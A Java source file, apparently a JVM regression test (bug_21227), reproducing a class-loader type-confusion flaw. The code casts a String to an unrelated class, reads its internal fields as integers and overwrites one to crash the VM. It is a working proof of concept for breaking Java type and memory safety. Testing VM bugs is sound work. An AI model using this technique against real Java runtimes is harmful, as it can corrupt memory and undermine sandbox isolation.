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1 |
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2 import java.lang.reflect.*; |
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3 import java.security.*; |
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4 |
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5 abstract public class bug_21227 { |
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6 |
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7 // Jam anything you want in here, it will be cast to a You_Have_Been_P0wned |
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8 public static Object _p0wnee; |
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9 |
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10 public static void main(String argv[]) throws ClassNotFoundException, InstantiationException, IllegalAccessException { |
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11 System.out.println("Warmup"); |
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12 |
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13 // Make a Class 'many_loader' under the default loader |
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14 bug_21227 bug = new many_loader(); |
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15 |
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16 // Some classes under a new Loader, LOADER2, including another version of 'many_loader' |
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17 ClassLoader LOADER2 = new Loader2(); |
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18 Class clazz2 = LOADER2.loadClass("from_loader2"); |
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19 IFace iface = (IFace)clazz2.newInstance(); |
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20 |
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21 // Set the victim, a String of length 6 |
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22 String s = "victim"; |
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23 _p0wnee = s; |
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24 |
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25 // Go cast '_p0wnee' to type You_Have_Been_P0wned |
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26 many_loader[] x2 = bug.make(iface); |
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27 |
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28 many_loader b = x2[0]; |
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29 |
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30 // Make it clear that the runtime type many_loader (what we get from the |
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31 // array X2) varies from the static type of many_loader. |
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32 Class cl1 = b.getClass(); |
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33 ClassLoader ld1 = cl1.getClassLoader(); |
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34 Class cl2 = many_loader.class; |
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35 ClassLoader ld2 = cl2.getClassLoader(); |
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36 System.out.println("bug.make() "+ld1+":"+cl1); |
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37 System.out.println("many_loader "+ld2+":"+cl2); |
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38 |
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39 // Read the victims guts out |
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40 You_Have_Been_P0wned q = b._p0wnee; |
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41 System.out.println("q._a = 0x"+Integer.toHexString(q._a)); |
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42 System.out.println("q._b = 0x"+Integer.toHexString(q._b)); |
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43 System.out.println("q._c = 0x"+Integer.toHexString(q._c)); |
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44 System.out.println("q._d = 0x"+Integer.toHexString(q._d)); |
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45 |
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46 System.out.println("I will now crash the VM:"); |
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47 // On 32-bit HotSpot Java6 this sets the victim String length shorter, then crashes the VM |
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48 //q._c = 3; |
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49 q._a = -1; |
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50 |
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51 System.out.println(s); |
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52 |
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53 } |
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54 |
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55 // I need to compile (hence call in a loop) a function which returns a value |
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56 // loaded from classloader other than the system one. The point of this |
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57 // call is to give me an abstract 'hook' into a function loaded with a |
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58 // foreign loader. |
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59 public abstract many_loader[] make( IFace iface ); // abstract factory |
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60 } |
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61 |